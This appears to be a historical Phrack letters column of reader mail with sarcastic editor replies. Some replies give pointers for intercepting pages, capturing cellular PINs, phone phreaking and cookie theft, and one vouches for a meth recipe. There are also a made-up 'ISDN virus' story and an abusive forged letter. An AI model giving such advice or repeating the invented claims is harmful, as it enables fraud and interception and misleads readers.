Providers will get their licences for providing communication service only after installing such spy software. There is a rumour that FAPSI has installed hidden microphones (bugs) in providers' offices to control any "illegal" activity (free information exchange always was illegal in USSR/Russia). I say "rumour" because I have heared it only from one trusted source, other information came from several trusted sources simultaneously.

BTW, using a PGP is illegal in Russia too, because FAPSI can not break the PGP‑encrypted messages.

If you find information written above meaningful, you may use it in your own discretion but with some precautions ‑‑ remember that country I live in have barbaric laws and Russian Police/Security Services have _absolute_ power to put in jail anyone they want without any court or warrant.

[ Normally I strip out all anonymous remailers, because they interfere with the bulk mailing process, bounce mail, and generally screw things up...however, there are always exceptions.

The FAPSI requirements are extremely interesting to hear about. It certainly makes sense, and I fear that our country is likewise heading towards that goal.

If you get the chance, you ought to write more about being a hacker in your country, since I am sure the rest of the world would be fascinated by it. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Greetings...

I looking for just a nibble of information...

When one logs into a remote system and gets login and passwords questions how does one write a program to crack a password...

I'm sure that is not an easy question or even a nibble perhaps a byte...

Seeking Info,

SPY

[ Well, I can't tell you how to write a program to crack passwords without knowing what kind of system you want to crack passwords for.

I can't tell you how to say "Where is the bathroom" in a foreign language without first knowing what language you want to say it in.

If you are talking about UNIX passwords, there are already numerous programs written to "crack" passwords. I would suggest you go poke around and look for programs like "crack" or "killer cracker." If you can't find reference to either of these on the net, then you really ought to consider finding a new hobby. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Wuzup! I have a pager that I don't use anymore because I can't afford the bill. So I was wondering if there is anyway I can hook‑up my pager for free without going through a paging service.

[ Depending upon the pager, you can possibly change or add capcodes through special programming software. Almost all Motorola pagers allow you to do this.

This won't allow you to "really" get free service, but you can piggy back on top of some known person's pager service (or just intercept their pages.)

The only way to get "free" service is to reactivate the pager's current capcode in the paging system from the local provider who owns the frequency the pager is crystaled for. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I was browsing through Issue 47, and saw something that had caught my eye.

""THE HACKER WAR ‑‑ LOD vs MOD"

This t‑shirt chronicles the infamous "Hacker War" between rival groups The Legion of Doom and The Masters of Destruction. The front of the shirt displays a flight map of the various battle‑sites hit by MOD and tracked by LOD. The back of the shirt

has a detailed timeline of the key dates in the conflict, and

a rather ironic quote from an MOD member."

A few weeks ago, I read the book Masters of Deception, a book about the "war". Wasn't the name of the rival group Masters of Deception? I assume that Erik would know, he appeared to be the main "villain" in this version of the story. Any response would be appreciated.

[ I was the villain? Well corn my pone.

In any case, you should always take everything you read with a grain of salt. In my opinion, the book was a piece of shit. Since many of the MOD members decided to viciously attack the author, Josh Quittner, posing as the ILF, I can only assume that they felt likewise.

So you decide for yourself about all that. Oh, and buy the damn t‑shirt. http://www.fc.net/phrack/shirts.html ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi Can you teach me to be a hacker i think that that would be cool so what do you think can you teach me to be a hacker and to be cool you are one of the biggest hackers in the world

[ No, I'm afraid as one of the biggest hackers in the world, I'm far too important to expend any energy on the likes of you.

Now go back to your PlayStation and get better at Toshinden. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Where culd i find some zipped red box tones? Or blue box. CyberOptik

[ Make your own tones with the Blue Beep program.

Follow some of the links from the Phrack Home page, and you should find this program on any number of sites. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hallo, din Gamle rn!!

(Norwegian for: Hello, you Old Eagle!!(direct.translated.) (rn(Eagle) is pronounced like: earn ) End of Norw. lesson.

This is a question from one viking to another; I am a newbie in the H/P division so I spend my days(and nights!) dwnloading all i can find about the subject. But I do have some problems with the cellular phone system over here, NMT 900. Which your system AMPS have stolen all the good parts from! Untill last year i could program my cellular phone, Ericsson NH 99, by programming and switching the 27c512 prom. But now the norwegian telecompany Telenor Mobil has inserted pin codes, i.e. if my cellular phone number used to be 12 34 56 78 (we have 8 digits), then my phone number now has changed to 12 34 56 78 XX X. Where the 3 last digits are unknown to the owner of the phone.

I do have programs and cables for programming the phone with all 8+3 digits, but then I have to know the 3 digits, the pin code, and I do NOT know how to download them from the cellular traffic going around my place. Can you help me beat the system? How do I dwnload the pin code???? I read that they are going to use the same system i the N.Y. area within this year, so someone is going to ask you these qst. sooner or later. Be prepared! Or is my qst. old news? Maybe everyone knows how to do this? Exept the norwegian newbie....

Vennlig hilsen

(thats:Best regards)

Stian(Mr.Phonee) Engerud

[ I'm not sure I understand how the last 3 digits can be unknown to the owner of the phone. If your number changes, then obviously you have to know the new number. Are you sure this isn't just a touch‑tone PIN entered in when you use phone, like systems over here in the states?

If it is, then you'll still need some kind of ESN reader, or other means to decode the reverse channel, and a 900 mhz‑capable radio and a touch‑tone decoder to grab the PINS as well. It's incredibly annoying.

On another note, I thought Telenor Mobil had AMPS, ETACS and GSM systems in place. Have they upgraded their ETACS systems as well? If not, use those. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: zadox@mindspring.com (Ron Zalkind)

Subject: Phrack Magazine: Strategic Marketing Partnership

I'm one of the principals of a new Internet‑based, second‑generation, Information Technology service. This new Internet service debuted last week at the Culpepper Forum in Atlanta. I'd like to propose a strategic marketing partnership with Phrack Magazine. This proposal will spell out what it is our service does (including a product demo), how we think a partnership with Phrack Magazine might work, and how we can all increase profits by doing so. Please reply to this E‑mail with the name and E‑mail address of the 'director of online strategy', or the 'circulation director', for Phrack Magazine. Thank you.

Ron Zalkind, President

R.E. Zalkind & Co. Inc.

Voice: 770‑518‑1600

Fax: 770‑642‑0802

E‑mail: zadox@mindspring.com (Ron Zalkind)

Ron Zalkind

[ WOW! I can't wait to hook up with THESE incredibly savvy people so Phrack can dramatically increase our profits. Let's see, if we make any money, we'll see a 100% increase! It's a no‑lose situation.

Man, I hate Internet mass‑mailers. Don't these people attempt to qualify their leads even a LITTLE? Strategic Marketing Opportunities with free computer hacker magazines? Ron? Hello? ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

First of all, great work on the 'zine all these years, hope to see 48 soon.

I have an article from "Airman" magazine (I believe it was the April 1996 issue), the US Air Force magazine given to military members. It details the efforts of AFOSI (Air Force Office of Special Investigations) to prevent hackers from breaking in to military computers. Considering it's coming from the military, it's not too badly written (the author actually knew the difference between "crackers" and "hackers"). I don't have a scanner, but I'd be more than willing to snail mail it to you. I just wanted to check and see if you guys already had it of not. If you don't, let me know, and I'll get it to you ASAP.

Keep up the good work....

[ We would definately like to see the text from this article. Please forward it!

In fact, if any of you readers ever come across ANYTHING you think is cool, email it to us, or snail mail it. We love getting mail.

We will print anything cool. (And a lot of lame things too!)

Just stop sending us credit histories and password files. :) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

need access to w.gov xxx now

[ w.gov? Uh, ok, let's see:

Reserved Domain (W‑GOV‑DOM)

Domain Name: W.GOV

Administrative Contact, Technical Contact, Zone Contact: Internet Assigned Numbers Authority (IANA) iana@isi.edu (310) 822‑1511

Record last updated on 02‑Dec‑93.

Record created on 01‑Dec‑93.

Do you know what this means? Duh. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: health@moneyworld.com

Subject: Scientific Discoveries Minimize Aging (DHEA)

http://dhea.natureplus.com

Take advantage of the amazing benefits of DHEA. In the search for the FOUNTAIN OF YOUTH, DHEA is a must README. People, age 70, feeling and acting 25.

Read the medical research at http://dhea.natureplus.com .A quote from

an article published by the New York Academy of Science written by Dr. S.S.C.YEN;

"DHEA in appropriate replacement doses appears to have remedial effects with respect to its ability to induce an anabolic growth factor, increase muscle strength and lean body mass, activate immune function, and enhance quality of life in aging men and women, with no significant adverse effects."

Regain the eye of the tiger! Don't wait ! Click on: http://dhea.natureplus.com

To terminate from the Health Catalog, Reply to health@moneyworld.com with "remove" in the subject field. Bob Williams 206‑269‑0846

P.S. You will find a full line of Vitamin, Supplements and OTC Health Catalog at http://natureplus.com.

[ Yet another Mass mailing! How many lame mailing lists are we on? You have to wonder about these things.

But how angry can one get, knowing that DHEA is the FOUNTAIN OF YOUTH! I need to get me some of that. A little DHEA, a little GHB, a little DMT, and you'll look younger, feel younger, and have the brain of a two year old.

And besides, Jesus loves acronyms. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Do you listen to 2nur radio? If so have you ever heard a band named SOYLENT GREEN or GOITER on any of their shows?

please email me back

thanx,

Nick

[ Nick, I hate to break it to you, but:

SOYLENT GREEN IS PEOPLE!!!

IT'S PEOPLE!!!!! ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Pete Shipley <shipley@dis.org>

To: best‑of‑security@suburbia.org, cert@cert.org, cudigest@sun.soci.niu.edu, daddict@l5.com, dc‑stuff@fc.net, dtangent@defcon.org, emmanuel@2600.com, grayarea@gti.gti.net, letters@2600.com, mycroft@fish.com, phrack@freeside.fc.net, phrack@well.sf.ca.us, proff@suburbia.org, root@iss.net, root@l0pht.com, root@lod.com, root@newhackcity.com, spaf@cs.purdue.edu, strat@uu.net, will@command.com.inter.net, zen@fish.com

Subject: Shipley owned, hacked and thrashed

Please distribute this letter freely:

This posting is being made from dis.org, and this is not forged e‑mail. Even though this mail is coming from Peter Shipley's account, I am not him.

Who am I?

That is unimportant except to say that I cannot take anymore of the "DoC" crowd's BULLSHIT. I would like to raise an issue with them, mostly (but not all related to the incident at defcon).

To you drunken losers at defcon who had to fuck with Netta's speech (DoC on hold here for a second, it wasn't just them): If you didn't want to hear Netta's speech (though in your opinion it may be monotone, boring or even wrong) you DIDN'T HAVE TO STAY AND LISTEN TO IT. There were some people that WANTED to listen to the speech, but you all had to act like POMPOUS ELITIST ASSES. How different are you now from a government that would like to enforce censorship upon it's own people?

All I can say is "getbacks are a bitch". A few things to consider:

1.Shipley is an utter tool. His whole appearance is a front. If he's such an awesome security specialist then why was he so easily owned? Also I bring into question some of the motives he has for harassing Netta Gilboa. Her boyfriend (who is currenlty in jail) was known for continually hacking (yes CONTINUALLY hacking) Peter Shipley. I know this because I spoke with Chris (n00gz) many times and was aware of this fact.

In my opinion Petey, anyone that is foolish enough to hire you to secure their systems are idiots; whether it's the military, government, industry, a business ‑‑ they should all just ask for their money back. You are a discredit to your profession.

2.Shipley is a coward. Only cowards attack people weaker than them but back away from a confrontation with someone of equal size or power. Careful Peter ‑‑ next time don't piss off Bootleg, he might hurt that pretty boy face of yours (though I admit, I would like to see it)

3.Hackman was a gob of shit. Peter Shipley has come to know his true calling in life now (to wit: Webmaster).

4. The fangs make you look like a homo. Maybe you are (nothing against them actually, just stating a fact).

Shipley, se7en, (ayoung, where's your piglet account?). Get a fucking life. Maybe instead of contstantly going around "Searching for intelligent life" perhaps you should stay home and secure your own systems. You are all owned, now don't you feel stupid? You should. You are.

DIS.ORG == DISORGANIZED.

‑‑ galf@upt

[ This is almost funny.

Notice I said, almost.

You have to admit though, Shipley always comes with some damn fine women in tow. Oh the things I did in my mind to that blonde...

Something tells me that the author of this forged message could use a lot of Shipley hand‑me‑downs: Women, contracts, references, etc... ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey, I just watched the movie Hackers, and I was just curious to know if They used you and the LOD to models the characters in the movie after? Alot of the handles, and choice phrases they used sounded awfully Farmiliar with what went on, or at least what the book said went on.

Meds:}

[ Actually, meds, the screenwriter hung around with "MOD" and other people from the New York hack scene and picked up some pointers, and then used people like Dead Lord and Emmanuel Goldstein as technical assistants.

Or something like that.

Please, don't ever associate "LOD" with this piece of shit again. :) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A lot of people have read the article about Joe Engressia and his time in Memphis where he was arrested by the police and banned from his dream of working on phone lines. Well, at the time when he was living on Union avenue, my mother was in charge of payroll, hiring and the like at a local switchboard. This was back in 1972 when the phone system was less of the fuqup it is today. Well, a friend of my mother's taught Mr. Engressia how to cook and other related houshold things despite his handicap. Shortly after or before this, (I am unsure) he was arrested by the police. I think this was also about the time the interview was made. Anyway, the local phone companies would not touch him, not even to give him service. My mother, after talking with him decided to hire him as a phone consultant. (Her opinion of his was that "He was so brilliant, it was scary, I mean REALLY scary.") She though he was a great "kid" (22 at the time) and was the best consultant that they had. He worked there for three years before moving.

The last my mother heard was that he was living in a Denver high rise working as a consultant to a corporation or something out there. I only just started talking with my parents about this today, but I am sure that they will tell me more of him.

Oh, and my father was good friends of Joe too, he and Joe were Ham Radio operators here in Memphis and my father still phreaks on them so I am sure that Mr. Engressia does too. Anyway, my father is teaching me how to hack, and my mother is teaching me how to phreak, but she only knows a little of outdated info and wants to get in touch with Joe. If anyone, ANYONE has any information about Joe, or if somehow this article gets to Joe, please let me know at the following e‑mail address:

Kormed@aol.com.

[ We used to call Joe on conferences a long time ago. I could probably dig his contact information up, but I really doubt he'd appreciate his number being published in Phrack.

Hell, if your parents are teaching you how to hack & phreak, then certainly they can find Joe. He was always listed in Directory Assistance when we tracked him down years back.

Have you even really looked for him? ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

quick question For Bloodaxe.

Ok, I know you probably get this Alot,but I just have to ask?...

Did you Really Date Christina Applegate?

had to ask,

[ Man, now that is a rumor that I would love to have started myself. No. Never dated her, never met her, never talked to her, never had any contact whatsoever. Spent some time holding up some of her posters with one hand, but that's about it. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

do you have any info on stealing magic cookies ??

[ No, but I can trade you these magic beans for your cow. If you plant them they will grow high into the sky, towards the castle in the clouds where the giant lives with the talking harp and the goose that lays the golden eggs.

Go read some of the WWW Security Lists, if you're talking about what I think you are. There are also javascript routines that collect navigator cookies from clients hitting your page. After briefly looking around, I can't find the specific sites to snarf them from. Go do a webcrawler search for WWW security or javascript security. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Phracks ‑ I'm a Free Journalist from Germany and I'm going to write an articel about ISDN and the possible danger which might happen to a company etc. getting hacked by some agnets, spies etc. from other countries. So I'm looking for indos about ISDN‑Viruses, Hackers and background infos.

Can you help me?

[ Wow, a "Free Journalist." I thought that pesky national socialist party imprisoned all you guys.

ISDN Viruses are quite possibly the worst thing to happen to computing since the creation of the Cellular Trojan Horse. Basically, these viruses travel over the wires using the X.224 transport protocol, and seize the D channel using Q.931. All SS7 data sent over the D channel is quickly compromized and re‑routed to different signal transfer points, causing massive ANI Failure over the entire routing mesh.

Rumor has it that the Internet Liberation Front was behind these viruses with heavy investement coming from the German Bundesnachrichtendienst's Project Rahab. These hackers were paid with AT&T calling cards encoded with a polymorphic encryption scheme, and cocaine.

You can quote me on this. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well, i wanna make an offer, and a nice deal.

i am n editor in an H/P/C magazine of HFA ( universal H/P/C group..)

well, what i wanna offer is a joining both of the papers

2gether, OR! u want more subscribes, we'll publish ya,

but adding 1 article from ya'r paper, saying from where it is.

so, if we can make this deal, contact me asap!

10x.

[ Let me see if I understand this, your "universal H/P/C group" has a magazine, and wants to do "Phrack" the great honor of merging with us, or printing our articles? Wow. What a deal. You mean by linking up with you guys, we will hit a greater audience "universally?"

So, merging our roughly 10,000 direct email subscribers, and a roughly 75,000 more WWW or misc. readers, adding in your readers, that should bring us up to 85,001 readers! Universally! FAN‑FUCKING‑TASTIC!

Are there so many rocks for you people to crawl out from under? Sheesh! ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello,

I have a need for a network sniffer. Specifically, one that will sniff IEEE‑802.3 packets and TCP/IP packets. Any leads?

[ Well, gee, are there network sniffers that won't?

Go do an archie search for tcpdump. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I was just strolling by you page: http://freeside.com/phrack.html,

and found my link "Showgirl Video" (link to vegaslive.com).

I am the creator and webmaster for the site. If I can ever be

of assistance to you let me know.

We are one of the few sites in the world that has a live stage and live 1 on 1 conferencing in one place.

john...

[ Ya know, every time I'm in Vegas I make it out to Showgirl Video with a bucket of quarters and a healthy dose of bad intent. I have to congratulate you guys for going on‑line. I love it when two of my favorite things come together (smut and computers).

Unfortunately, The Vegaslive site is kind of pricey. You guys seriously need a flat fee. I suggest you look at a SUPURB site: http://www.peepshow.com

That place has a flat fee, all you can eat pricing structure, the way God meant it to be. Take note, and follow suit. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I have a Mitsubishi MT9 (MT‑1097FOR6A) ..I program the NAM with the passw: 2697435 ...I need the passw to have access to SCAN or TAC function ...please, help me!

Thank

Regards

[NCG]

[ I'm not familiar with that phone, but I'd start off looking through Dr. Who's archive of cellular info at:

http://www.l0pht.com/radiophone

If what you are looking for isn't there, there might be a link to somewhere that has it. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

my name is azreal! I am also known as the angel of death. why did you sell out to the feds back when you running comsec. i think phiber optick was a great guy and i would have been glad to work with a legend. do you know his e‑mail adress

azreal

[ Azrael? The Angel of Death? I thought Azrael was Gargamel's annoying cat.

But to answer your question, I sold out to the man ages ago for money. Pure and simple. Once you hit puberty, you might have a need for cash. Once mommie sends you off to college, you might need it even more. And in the distant future, when you get out on your own, you will really know.

Yes, phiber is swell. There have been good pictures of him in many national magazines. Try not to get the pages stuck together.

And, yes, I do know his email address. Thanks for asking! ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: prodigy.com (MR MARK P DOLESH)

How do you hack?

[ Very carefully. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Did you ever write a edition that deals with breaking the screensavers code? If so which one? How about breking the Win95 password. You know the one that allows you into Win95?

[ We pass all articles about breaking Windows Screen Savers on to the more technical forum at 2600 magazine.

To disable the Win95 password, install Linux. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A phriend of mine showed me your sight a few days ago at his house...I thought it was pretty cool. I dloaded a few issues and stuff to check out...I haven't been on the internet to long so I'm still trying to phined more stuff that interest me, and I would like to set up my own page like that but my account is thru the school...Is there anyway around that? So it can be like border line legal? How underground can one go??? If you still have the file on where the line is please send them...Thanks.

[ Your account is through your school, but you are looking for a way around that? Hmmm...let me see. I'm just going to throw out something wild and crazy, but, what the hell: Maybe, get another account through another Internet provider? I know, it's just too outlandish. Forgive me for being so zany.

How underground can you really go? I used to have that file you are looking for, but I was so underground at the time, it got soiled with mud and disintegrated, eventually polluting the water table, and was ultimately drank by the city of Pasadena, Texas. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In regards to volume one ,issue four , Phile #8 of 11 ...

This shit has got to be a joke , I tryed to make some and

Was a great dissapointment ????

[ The meth recipe works just fine. Obviously you DIDN'T try to make it. If you feel like a REAL MORON, look at the cat recipe in the line noise section of this issue. Stay up for a week, go into deep amphetamine psychosis and die! Woo Woo! ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I ve tried to locate these guys who have Black book for cracking passwords in major software and some games as well.They go by the Names of Jolly Reaper and Maugan Ra aka Manix.Iam doc X from London (not a pig!!!) if U happpen to know these doodez let us know.TA from GB

[ Perhaps you have Phrack confused with something having to do with pirated software. I'd ask that question in a posting to the USENET group alt.warez or on the IRC #warez channels. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Eric,

i have been searching the internet for some kind of script that will subscribe a certain email address to a shitload of

mailing lists...i have heard of such a thing.

what im lacking is that keyword to search for such as:

bombard

attack

flash

what is the technical term for this kind of attack?

or better yet, do you know where to get a hold of such a script. im not familiar with mailing lists and id rather not spend the time researching the topic...but i need vengeance quickly :‑)

any help appreciated,

‑roger

[ The name for this type of attack? Uh, an email bomb?

But let's take a closer look at your mail:

"id rather not spend the time researching the topic...but I need vengeance quickly"

I'm not going to be your fucking research assistant, or your accomplice. If you can't figure out how to look through our back issues to find any of the tons of fake mailers we've printed, or figure out how to automate them using shell script, then you don't deserve to live, much less get your speedy vengeance.

Couldn't you even come up with a NON‑LAME way to get back at someone? Hell, even rewriting their .login to say "exit" or something silly like that is more clever, and less cliche, than flooding their inbox. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The art of " information manipulation " has possessed my virgin soul ! I turned into a fuckin' 2‑year old (drool and all) when experiencing the free local call system involving a paperclip . All I've been thinking is hack, haCK, HACK ! I'm still drenched behind the ears but I'm a patient, turbo learner (whatever the hell that means) !

Here's the problem: I possess some info that could make you smile so big, that your sphinctor would unwrinkle. I would like to experiment, if you will . Perhaps, dabble with this stuff , but I am very uneducated in raping mainframes. This could be a major wood producer

because my EX works at this establishment .

I need a trustworthy pro who possesses a plethora of tasty tactics . Whic h way to the Dagobah System.....I seek YODA !!

[ Drooling 2‑year old.

Very uneducated in raping mainframes.

Major wood producer.

Well, gee, I'm sure your info would make my "sphinctor" unwrinkle, but I'm wearing a new pair of jeans, so I guess I'll have to take a rain check.

God bless AOL for bringing the internet to the masses! ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

i want to be added to your list. and could you send me unziped hacking software or can you tell me how to unzip softwarre nd a beginners guide to hacking. i would appreciate it i want to begin fun new field of hacking thank you

[ You want to learn all about hacking, but you don't know how to unzip files?

Crawl before you run, Kwai Chang. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

VA'CH CO' TAI

Anh Ta'm ddi du li.ch xa, ngu? ta.i mo^.t kha'ch sa.n. DDa~ ma^'y tie^'ng ddo^`ng ho^` ro^`i anh ngu? kho^ng ddu*o*.c vi` tie^'ng cu*o*`i no'i huye^n na'o tu*` pho`ng be^n ca.nh vo.ng sang. Ro~ ra`ng la` ho. ddang dda'nh ba`i, sa't pha.t nhau a(n thua lo*'n.

Ra'ng nhi.n cho to*'i 3 gio*` sa'ng va^~n cu*' tra(`n tro.c hoa`i, anh Ta'm chi.u he^'t no^?i, be`n go~ nhe. va`o va'ch dde^? nha('c khe'o pho`ng be^n ca.nh.

Anh Ta'm vu*`a go~ xong la^.p tu*'c anh nghe mo^.t gio.ng tenor he't le^n tu*` pho`ng be^n:

‑ Tro*`i o*i! Co' bie^'t ba^y gio*` la` ma^'y gio*` sa'ng ro^`i kho^ng? O*? ddo' ma` ddo'ng ddinh treo hi`nh!

‑ ?!?!?

[Uh, let's see...No Boom Boom with soul brother. Soul Brother too beaucoup.

Ddi Ma'o.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hola me gustaria tener mucha informacion de lo que ustedes hacen sobre todo de como lo hacen. Es decir que me manden informacion de los secretos de los sistemas operativos de internet de todo lo que me puedan mandar. yo soy universitario, y me gusta todo lo relacionado con redes.

Muchos saludos.

Contestenme.

[ What is this, International Day?

!Si quieras mucha informacion, LEA MUCHOS LIBROS! !DIOS MIO! !No estoy el maestro del mundo! Ehehe, esta fue solomente una chiste. No esta nunca libros en espanol sobre <<computer security>>. Que lastima.

If you want to learn, start with english...then go buy the entire O'Reilly Yellow series and Blue series. That will get you started learning "los secretos de los sistemas operativos de internet." ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "Erik K. Escobar"

Subject: Apology

This letter is to be forwared to the newsgroup io.general by madmagic, in care of Mr. Escobar.

I would like to send a public apology to Internex Online for the treatment I have given the staff and users of this system. I threw around some threats and words that can incriminate me, and realized that it was a stupid idea on my behalf. In the last week or so with the negative attention I have gotten, I got to know the IO/ICAN staff a bit better and everything in good standing. Me and Internex Online are now even and there will be no retaliation or sour words from me. I just want everything to go back to the norm.

Erik

[ * AND THEN * ]

From: "Erik K. Escobar"

Subject: Shit

As my understanding, A letter of apology under my name was redistributed around within my mailing list and whatever. As some of you know, myself and Zencor have been having problems with Internex in the past and near the middle of this week, I got into a large battle with was ACC, ICAN, and Internex Online ‑vs‑ Me. It is stupid to get into an argument with that many corporations, and a few words and threats were thrown, they locked my account. I wrote a letter in response of that and they proceded to lock other Zencor staff accounts and hack our web site. Also they posted the letter in the news groups and whatever. They eventually decided to charge me and whatever, and to save me time outta the courts and crap like that I made an apology for the threats, seeing that they could incriminate me. Internex has done wrong and I probably won't be seeing alot of apologies coming my way. If they didn't have certain info about me..they could have me very well laughing at them but that is not the case.

Erik

Lord Kaotik

[ ZENC0R TECHN0L0GIES ]

[ Can you say, LAME? ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Been trying to locate for some time the file, plusmap.txt that used to be on the phrack bbs (716‑871‑1915). This file outlined information regarding the videopal in the videocipher II plus satellite decoder module. Any idea where I might find this file?

[ I didn't know there was a "phrack" bbs. <Sigh>

In any case, I would look for information regarding this on the following sites:

http://www.scramblingnews.com

http://www.hackerscatalog.com

http://ireland.iol.ie/~kooltek/welcome.html

Satellite Watch BBS : 517‑685‑2451

This ought to get you in the right direction. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi,

Just a quick note to tell you about the Hawaii Education Literacy Project a non‑profit organization ‑ and our efforts to promote literacy by making electronic text easier and more enjoyable to read. Given that we're both in the reading biz, I thought you might be interested.

ReadToMe, our first program, reads aloud any form of electronic text, including Web pages, and is free to anyone who wishes to use it.

The "Web Designers" section of our home page tells you how your pages can literally speak to your audience. Actually, all you need to do to make your pages audible is to add the following html code:

<P><A HREF="http://www.pixi.com/~reader1/readweb.bok">Hear

This Page!</A> Requires ReadToMe Software... Don't got it? <A HREF="http://www.pixi.com/~reader1">GET IT FREE!</A>

</P>

A beta test version of the program can be obtained from http://www.pixi.com/~reader1. I encourage you and your readers to download

a copy and take it for a spin.

Thank you for your time,

Rob Hanson

rhanson@freeway.net

Hawaii Education Literacy Project

[ Honestly, I don't know if this is a spam to a list of magazine people, or really a phrack reader. I have this thing about jumk email, and the joy of offering that info to our thousands of bored hacker readers looking for an excuse to fuck with some system.

I'll let them decide if this was a spam. Thanks, Rob. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

********************************

SYNTHETIC PLEASURES opens in the US theaters

********************************

save the date, spread the word. forgive us if you got this before.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

eerily memorable is SYNTHETIC PLEASURES, a trippy, provocative tour through the perfectly artificial worlds of cyberspace, plastic surgery, mind‑altering chemicals and controlled, man‑made environments that questions whether the natural world is redundant, or even necessary. those who see it will want to pinch themselves when it's over.

(janet maslin‑ The New York Times)

